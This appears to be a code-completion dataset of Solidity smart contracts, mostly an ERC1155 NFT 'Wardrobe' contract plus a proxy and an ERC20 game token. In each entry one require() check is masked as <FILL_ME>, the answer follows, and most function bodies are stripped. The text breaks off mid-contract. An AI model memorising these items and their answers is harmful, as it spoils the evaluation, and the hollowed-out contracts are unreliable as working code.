/////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemsMinted[msg.sender][_itemTypes[i]]+_quantity[i]<=itemTypes[_itemTypes[i]].maxMintable,"User is trying to mint more than allocated."
228,623
itemsMinted[msg.sender][_itemTypes[i]]+_quantity[i]<=itemTypes[_itemTypes[i]].maxMintable
"User is trying to mint more than total supply."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { uint256 totalMintCost; for (uint i = 0; i < _itemTypes.length; i++) { require( itemTypes[_itemTypes[i]].itemMerkleRoot == 0, "User is trying to mint a whitelisted item through incorrect function call." ); require( itemsMinted[msg.sender][_itemTypes[i]] + _quantity[i] <= itemTypes[_itemTypes[i]].maxMintable, "User is trying to mint more than allocated." ); require(<FILL_ME>) require( itemTypes[_itemTypes[i]].requiredMetamon.length == 0, "User is trying to mint a wardrobe item with metamon requirements - Claim only!" ); totalMintCost += itemTypes[_itemTypes[i]].itemPrice * _quantity[i]; } require(msg.value == totalMintCost, "Not enough ETH to mint!"); for (uint i = 0; i < _itemTypes.length; i++) { itemsMinted[msg.sender][_itemTypes[i]] += _quantity[i]; } _mintBatch(msg.sender, _itemTypes, _quantity, ""); emit ItemsMinted(msg.sender, _itemTypes, _quantity); } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
totalSupply(_itemTypes[i])+_quantity[i]<=itemTypes[_itemTypes[i]].itemSupply,"User is trying to mint more than total supply."
228,623
totalSupply(_itemTypes[i])+_quantity[i]<=itemTypes[_itemTypes[i]].itemSupply
"User is trying to mint a wardrobe item with metamon requirements - Claim only!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { uint256 totalMintCost; for (uint i = 0; i < _itemTypes.length; i++) { require( itemTypes[_itemTypes[i]].itemMerkleRoot == 0, "User is trying to mint a whitelisted item through incorrect function call." ); require( itemsMinted[msg.sender][_itemTypes[i]] + _quantity[i] <= itemTypes[_itemTypes[i]].maxMintable, "User is trying to mint more than allocated." ); require( totalSupply(_itemTypes[i]) + _quantity[i] <= itemTypes[_itemTypes[i]].itemSupply, "User is trying to mint more than total supply." ); require(<FILL_ME>) totalMintCost += itemTypes[_itemTypes[i]].itemPrice * _quantity[i]; } require(msg.value == totalMintCost, "Not enough ETH to mint!"); for (uint i = 0; i < _itemTypes.length; i++) { itemsMinted[msg.sender][_itemTypes[i]] += _quantity[i]; } _mintBatch(msg.sender, _itemTypes, _quantity, ""); emit ItemsMinted(msg.sender, _itemTypes, _quantity); } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemTypes[i]].requiredMetamon.length==0,"User is trying to mint a wardrobe item with metamon requirements - Claim only!"
228,623
itemTypes[_itemTypes[i]].requiredMetamon.length==0
"Caller not whitelisted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { require(<FILL_ME>) require( itemTypes[_itemType].requiredMetamon.length == 0, "User is trying to mint a wardrobe item with metamon requirements - Claim only!" ); require( msg.value == itemTypes[_itemType].itemPrice * _quantity, "Not enough ETH" ); itemsMinted[msg.sender][_itemType] += _quantity; _mint(msg.sender, _itemType, _quantity, ""); emit ItemMinted(msg.sender, _itemType, _quantity); } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
MerkleProof.verify(_merkleProof,itemTypes[_itemType].itemMerkleRoot,keccak256(abi.encodePacked(msg.sender))),"Caller not whitelisted"
228,623
MerkleProof.verify(_merkleProof,itemTypes[_itemType].itemMerkleRoot,keccak256(abi.encodePacked(msg.sender)))
"must be a free mint"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { require( itemTypes[_itemType].itemMerkleRoot == 0, "User is trying to mint a whitelisted item through incorrect function call." ); require(<FILL_ME>) itemsMinted[msg.sender][_itemType] += _quantity; _mint(msg.sender, _itemType, _quantity, ""); emit ItemMinted(msg.sender, _itemType, _quantity); } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemType].itemPrice==0,"must be a free mint"
228,623
itemTypes[_itemType].itemPrice==0
"User is trying to mint more than allocated."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { require(msg.sender == address(metamonContract), "Caller not valid"); require(<FILL_ME>) require( totalSupply(_itemType) + _quantity <= itemTypes[_itemType].itemSupply, "User is trying to mint more than total supply." ); itemsMinted[_user][_itemType] += _quantity; _mint(_user, _itemType, _quantity, ""); emit ItemMinted(_user, _itemType, _quantity); } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemsMinted[_user][_itemType]+_quantity<=itemTypes[_itemType].maxMintable,"User is trying to mint more than allocated."
228,623
itemsMinted[_user][_itemType]+_quantity<=itemTypes[_itemType].maxMintable
"same"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "../common/AccessibleCommon.sol"; import "./ProxyBase.sol"; import "./TokenDividendPoolStorage.sol"; import "../interfaces/ITokenDividendPoolProxy.sol"; import "hardhat/console.sol"; contract TokenDividendPoolProxy is TokenDividendPoolStorage, AccessibleCommon, ProxyBase, ITokenDividendPoolProxy { event Upgraded(address indexed implementation); using SafeMath for uint256; /// @dev constructor of StakeVaultProxy /// @param _impl the logic address of StakeVaultProxy /// @param _admin the admin address of StakeVaultProxy constructor(address _impl, address _admin) { } /// @notice Set pause state /// @param _pause true:pause or false:resume function setProxyPause(bool _pause) external override onlyOwner { } /// @notice Set implementation contract /// @param impl New implementation contract address function upgradeTo(address impl) external override onlyOwner { require(impl != address(0), "input is zero"); require(<FILL_ME>) _setImplementation(impl); emit Upgraded(impl); } /// @dev returns the implementation function implementation() public view override returns (address) { } /// @dev receive ether receive() external payable { } /// @dev fallback function , execute on undefined function call fallback() external payable { } /// @dev fallback function , execute on undefined function call function _fallback() internal { } /// @dev Initialize function initialize(address _erc20RewardAddress) external override onlyOwner { } }
_implementation()!=impl,"same"
228,629
_implementation()!=impl
"Not Authorised"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { require(<FILL_ME>) _; } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] 